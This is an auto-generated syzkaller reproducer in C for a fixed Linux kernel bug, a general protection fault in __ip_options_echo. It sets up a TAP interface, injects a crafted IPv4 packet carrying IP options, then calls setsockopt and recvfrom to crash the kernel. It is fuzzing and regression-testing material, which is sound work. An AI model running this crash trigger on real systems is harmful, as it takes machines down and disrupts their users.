| // general protection fault in __ip_options_echo (2) |
| // https://syzkaller.appspot.com/bug?id=cc189ce25e829ed0b5c1c9eda86fac558b39c0a9 |
| // status:fixed |
| // autogenerated by syzkaller (http://github.com/google/syzkaller) |
| |
| #define _GNU_SOURCE |
| |
| #include <arpa/inet.h> |
| #include <errno.h> |
| #include <fcntl.h> |
| #include <linux/if.h> |
| #include <linux/if_ether.h> |
| #include <linux/if_tun.h> |
| #include <linux/ip.h> |
| #include <linux/tcp.h> |
| #include <net/if_arp.h> |
| #include <stdarg.h> |
| #include <stdbool.h> |
| #include <stdint.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <sys/stat.h> |
| #include <sys/syscall.h> |
| #include <unistd.h> |
| |
| const int kFailStatus = 67; |
| const int kRetryStatus = 69; |
| |
| __attribute__((noreturn)) static void doexit(int status) |
| { |
| volatile unsigned i; |
| syscall(__NR_exit_group, status); |
| for (i = 0;; i++) { |
| } |
| } |
| |
| __attribute__((noreturn)) static void fail(const char* msg, ...) |
| { |
| int e = errno; |
| fflush(stdout); |
| va_list args; |
| va_start(args, msg); |
| vfprintf(stderr, msg, args); |
| va_end(args); |
| fprintf(stderr, " (errno %d)\n", e); |
| doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus); |
| } |
| |
| #define BITMASK_LEN(type, bf_len) (type)((1ull << (bf_len)) - 1) |
| |
| #define BITMASK_LEN_OFF(type, bf_off, bf_len) \ |
| (type)(BITMASK_LEN(type, (bf_len)) << (bf_off)) |
| |
| #define STORE_BY_BITMASK(type, addr, val, bf_off, bf_len) \ |
| if ((bf_off) == 0 && (bf_len) == 0) { \ |
| *(type*)(addr) = (type)(val); \ |
| } else { \ |
| type new_val = *(type*)(addr); \ |
| new_val &= ~BITMASK_LEN_OFF(type, (bf_off), (bf_len)); \ |
| new_val |= ((type)(val)&BITMASK_LEN(type, (bf_len))) << (bf_off); \ |
| *(type*)(addr) = new_val; \ |
| } |
| |
| static void vsnprintf_check(char* str, size_t size, const char* format, |
| va_list args) |
| { |
| int rv; |
| |
| rv = vsnprintf(str, size, format, args); |
| if (rv < 0) |
| fail("tun: snprintf failed"); |
| if ((size_t)rv >= size) |
| fail("tun: string '%s...' doesn't fit into buffer", str); |
| } |
| |
| static void snprintf_check(char* str, size_t size, const char* format, |
| ...) |
| { |
| va_list args; |
| |
| va_start(args, format); |
| vsnprintf_check(str, size, format, args); |
| va_end(args); |
| } |
| |
| #define COMMAND_MAX_LEN 128 |
| |
| static void execute_command(const char* format, ...) |
| { |
| va_list args; |
| char command[COMMAND_MAX_LEN]; |
| int rv; |
| |
| va_start(args, format); |
| |
| vsnprintf_check(command, sizeof(command), format, args); |
| rv = system(command); |
| if (rv != 0) |
| fail("tun: command \"%s\" failed with code %d", &command[0], rv); |
| |
| va_end(args); |
| } |
| |
| static int tunfd = -1; |
| |
| #define SYZ_TUN_MAX_PACKET_SIZE 1000 |
| |
| #define MAX_PIDS 32 |
| #define ADDR_MAX_LEN 32 |
| |
| #define LOCAL_MAC "aa:aa:aa:aa:aa:%02hx" |
| #define REMOTE_MAC "bb:bb:bb:bb:bb:%02hx" |
| |
| #define LOCAL_IPV4 "172.20.%d.170" |
| #define REMOTE_IPV4 "172.20.%d.187" |
| |
| #define LOCAL_IPV6 "fe80::%02hxaa" |
| #define REMOTE_IPV6 "fe80::%02hxbb" |
| |
| static void initialize_tun(uint64_t pid) |
| { |
| if (pid >= MAX_PIDS) |
| fail("tun: no more than %d executors", MAX_PIDS); |
| int id = pid; |
| |
| tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); |
| if (tunfd == -1) |
| fail("tun: can't open /dev/net/tun"); |
| |
| char iface[IFNAMSIZ]; |
| snprintf_check(iface, sizeof(iface), "syz%d", id); |
| |
| struct ifreq ifr; |
| memset(&ifr, 0, sizeof(ifr)); |
| strncpy(ifr.ifr_name, iface, IFNAMSIZ); |
| ifr.ifr_flags = IFF_TAP | IFF_NO_PI; |
| if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) |
| fail("tun: ioctl(TUNSETIFF) failed"); |
| |
| char local_mac[ADDR_MAX_LEN]; |
| snprintf_check(local_mac, sizeof(local_mac), LOCAL_MAC, id); |
| char remote_mac[ADDR_MAX_LEN]; |
| snprintf_check(remote_mac, sizeof(remote_mac), REMOTE_MAC, id); |
| |
| char local_ipv4[ADDR_MAX_LEN]; |
| snprintf_check(local_ipv4, sizeof(local_ipv4), LOCAL_IPV4, id); |
| char remote_ipv4[ADDR_MAX_LEN]; |
| snprintf_check(remote_ipv4, sizeof(remote_ipv4), REMOTE_IPV4, id); |
| |
| char local_ipv6[ADDR_MAX_LEN]; |
| snprintf_check(local_ipv6, sizeof(local_ipv6), LOCAL_IPV6, id); |
| char remote_ipv6[ADDR_MAX_LEN]; |
| snprintf_check(remote_ipv6, sizeof(remote_ipv6), REMOTE_IPV6, id); |
| |
| execute_command("sysctl -w net.ipv6.conf.%s.accept_dad=0", iface); |
| |
| execute_command("sysctl -w net.ipv6.conf.%s.router_solicitations=0", |
| iface); |
| |
| execute_command("ip link set dev %s address %s", iface, local_mac); |
| execute_command("ip addr add %s/24 dev %s", local_ipv4, iface); |
| execute_command("ip -6 addr add %s/120 dev %s", local_ipv6, iface); |
| execute_command("ip neigh add %s lladdr %s dev %s nud permanent", |
| remote_ipv4, remote_mac, iface); |
| execute_command("ip -6 neigh add %s lladdr %s dev %s nud permanent", |
| remote_ipv6, remote_mac, iface); |
| execute_command("ip link set dev %s up", iface); |
| } |
| |
| static void setup_tun(uint64_t pid, bool enable_tun) |
| { |
| if (enable_tun) |
| initialize_tun(pid); |
| } |
| |
| struct csum_inet { |
| uint32_t acc; |
| }; |
| |
| static void csum_inet_init(struct csum_inet* csum) |
| { |
| csum->acc = 0; |
| } |
| |
| static void csum_inet_update(struct csum_inet* csum, |
| const uint8_t* data, size_t length) |
| { |
| if (length == 0) |
| return; |
| |
| size_t i; |
| for (i = 0; i < length - 1; i += 2) |
| csum->acc += *(uint16_t*)&data[i]; |
| |
| if (length & 1) |
| csum->acc += (uint16_t)data[length - 1]; |
| |
| while (csum->acc > 0xffff) |
| csum->acc = (csum->acc & 0xffff) + (csum->acc >> 16); |
| } |
| |
| static uint16_t csum_inet_digest(struct csum_inet* csum) |
| { |
| return ~csum->acc; |
| } |
| |
| static uintptr_t syz_emit_ethernet(uintptr_t a0, uintptr_t a1) |
| { |
| |
| if (tunfd < 0) |
| return (uintptr_t)-1; |
| |
| int64_t length = a0; |
| char* data = (char*)a1; |
| return write(tunfd, data, length); |
| } |
| |
| long r[87]; |
| void loop() |
| { |
| memset(r, -1, sizeof(r)); |
| r[0] = syscall(__NR_mmap, 0x20000000ul, 0xf0b000ul, 0x3ul, 0x32ul, |
| 0xfffffffffffffffful, 0x0ul); |
| r[1] = syscall(__NR_socket, 0x2ul, 0x2ul, 0x0ul); |
| *(uint16_t*)0x20afbff0 = (uint16_t)0x2; |
| *(uint16_t*)0x20afbff2 = (uint16_t)0x224e; |
| *(uint32_t*)0x20afbff4 = (uint32_t)0x10000e0; |
| *(uint8_t*)0x20afbff8 = (uint8_t)0x0; |
| *(uint8_t*)0x20afbff9 = (uint8_t)0x0; |
| *(uint8_t*)0x20afbffa = (uint8_t)0x0; |
| *(uint8_t*)0x20afbffb = (uint8_t)0x0; |
| *(uint8_t*)0x20afbffc = (uint8_t)0x0; |
| *(uint8_t*)0x20afbffd = (uint8_t)0x0; |
| *(uint8_t*)0x20afbffe = (uint8_t)0x0; |
| *(uint8_t*)0x20afbfff = (uint8_t)0x0; |
| r[13] = syscall(__NR_bind, r[1], 0x20afbff0ul, 0x10ul); |
| *(uint32_t*)0x20f07d9d = (uint32_t)0x0; |
| *(uint32_t*)0x20f07da1 = (uint32_t)0x0; |
| *(uint32_t*)0x20f07da5 = (uint32_t)0xffffffffffffffff; |
| r[17] = syscall(__NR_ioctl, 0xfffffffffffffffful, 0xc00c642dul, |
| 0x20f07d9dul); |
| *(uint8_t*)0x20f07fba = (uint8_t)0xbb; |
| *(uint8_t*)0x20f07fbb = (uint8_t)0xbb; |
| *(uint8_t*)0x20f07fbc = (uint8_t)0xbb; |
| *(uint8_t*)0x20f07fbd = (uint8_t)0xbb; |
| *(uint8_t*)0x20f07fbe = (uint8_t)0xbb; |
| *(uint8_t*)0x20f07fbf = (uint8_t)0x0; |
| *(uint8_t*)0x20f07fc0 = (uint8_t)0xaa; |
| *(uint8_t*)0x20f07fc1 = (uint8_t)0xaa; |
| *(uint8_t*)0x20f07fc2 = (uint8_t)0xaa; |
| *(uint8_t*)0x20f07fc3 = (uint8_t)0xaa; |
| *(uint8_t*)0x20f07fc4 = (uint8_t)0xaa; |
| *(uint8_t*)0x20f07fc5 = (uint8_t)0x0; |
| *(uint16_t*)0x20f07fc6 = (uint16_t)0x8; |
| STORE_BY_BITMASK(uint8_t, 0x20f07fc8, 0xc, 0, 4); |
| STORE_BY_BITMASK(uint8_t, 0x20f07fc8, 0x4, 4, 4); |
| STORE_BY_BITMASK(uint8_t, 0x20f07fc9, 0x0, 0, 2); |
| STORE_BY_BITMASK(uint8_t, 0x20f07fc9, 0x0, 2, 6); |
| *(uint16_t*)0x20f07fca = (uint16_t)0x3800; |
| *(uint16_t*)0x20f07fcc = (uint16_t)0x6400; |
| *(uint16_t*)0x20f07fce = (uint16_t)0x0; |
| *(uint8_t*)0x20f07fd0 = (uint8_t)0x0; |
| *(uint8_t*)0x20f07fd1 = (uint8_t)0x11; |
| *(uint16_t*)0x20f07fd2 = (uint16_t)0x0; |
| *(uint32_t*)0x20f07fd4 = (uint32_t)0x0; |
| *(uint32_t*)0x20f07fd8 = (uint32_t)0x10000e0; |
| *(uint8_t*)0x20f07fdc = (uint8_t)0x44; |
| *(uint8_t*)0x20f07fdd = (uint8_t)0x18; |
| *(uint8_t*)0x20f07fde = (uint8_t)0x7; |
| STORE_BY_BITMASK(uint8_t, 0x20f07fdf, 0x3, 0, 4); |
| STORE_BY_BITMASK(uint8_t, 0x20f07fdf, 0x20000, 4, 4); |
| *(uint32_t*)0x20f07fe0 = (uint32_t)0x100007f; |
| *(uint32_t*)0x20f07fe4 = (uint32_t)0x40000000; |
| *(uint32_t*)0x20f07fe8 = (uint32_t)0x100007f; |
| *(uint32_t*)0x20f07fec = (uint32_t)0x0; |
| *(uint32_t*)0x20f07ff0 = (uint32_t)0x7000000; |
| *(uint8_t*)0x20f07ff4 = (uint8_t)0x0; |
| *(uint16_t*)0x20f07ff8 = (uint16_t)0x204e; |
| *(uint16_t*)0x20f07ffa = (uint16_t)0x224e; |
| *(uint16_t*)0x20f07ffc = (uint16_t)0x800; |
| *(uint16_t*)0x20f07ffe = (uint16_t)0x0; |
| struct csum_inet csum_58; |
| csum_inet_init(&csum_58); |
| csum_inet_update(&csum_58, (const uint8_t*)0x20f07fd4, 4); |
| csum_inet_update(&csum_58, (const uint8_t*)0x20f07fd8, 4); |
| uint16_t csum_58_chunk_2 = 0x1100; |
| csum_inet_update(&csum_58, (const uint8_t*)&csum_58_chunk_2, 2); |
| uint16_t csum_58_chunk_3 = 0x800; |
| csum_inet_update(&csum_58, (const uint8_t*)&csum_58_chunk_3, 2); |
| csum_inet_update(&csum_58, (const uint8_t*)0x20f07ff8, 8); |
| *(uint16_t*)0x20f07ffe = csum_inet_digest(&csum_58); |
| struct csum_inet csum_59; |
| csum_inet_init(&csum_59); |
| csum_inet_update(&csum_59, (const uint8_t*)0x20f07fc8, 48); |
| *(uint16_t*)0x20f07fd2 = csum_inet_digest(&csum_59); |
| r[60] = syz_emit_ethernet(0x46ul, 0x20f07fbaul); |
| memcpy((void*)0x20ee0f7f, "\xb3", 1); |
| r[62] = |
| syscall(__NR_setsockopt, r[1], 0x0ul, 0x7ul, 0x20ee0f7ful, 0x1ul); |
| *(uint16_t*)0x20558000 = (uint16_t)0x2; |
| *(uint16_t*)0x20558002 = (uint16_t)0x214e; |
| *(uint32_t*)0x20558004 = (uint32_t)0x0; |
| *(uint8_t*)0x20558008 = (uint8_t)0x0; |
| *(uint8_t*)0x20558009 = (uint8_t)0x0; |
| *(uint8_t*)0x2055800a = (uint8_t)0x0; |
| *(uint8_t*)0x2055800b = (uint8_t)0x0; |
| *(uint8_t*)0x2055800c = (uint8_t)0x0; |
| *(uint8_t*)0x2055800d = (uint8_t)0x0; |
| *(uint8_t*)0x2055800e = (uint8_t)0x0; |
| *(uint8_t*)0x2055800f = (uint8_t)0x0; |
| r[74] = syscall(__NR_recvfrom, r[1], 0x20f0bff5ul, 0x0ul, 0x2ul, |
| 0x20558000ul, 0x10ul); |
| *(uint16_t*)0x200c0ff0 = (uint16_t)0x2; |
| *(uint16_t*)0x200c0ff2 = (uint16_t)0x224e; |
| *(uint32_t*)0x200c0ff4 = (uint32_t)0x10000e0; |
| *(uint8_t*)0x200c0ff8 = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ff9 = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ffa = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ffb = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ffc = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ffd = (uint8_t)0x0; |
| *(uint8_t*)0x200c0ffe = (uint8_t)0x0; |
| *(uint8_t*)0x200c0fff = (uint8_t)0x0; |
| r[86] = syscall(__NR_recvfrom, r[1], 0x20bc0000ul, 0x0ul, 0x0ul, |
| 0x200c0ff0ul, 0x10ul); |
| } |
| |
| int main() |
| { |
| setup_tun(0, true); |
| loop(); |
| return 0; |
| } |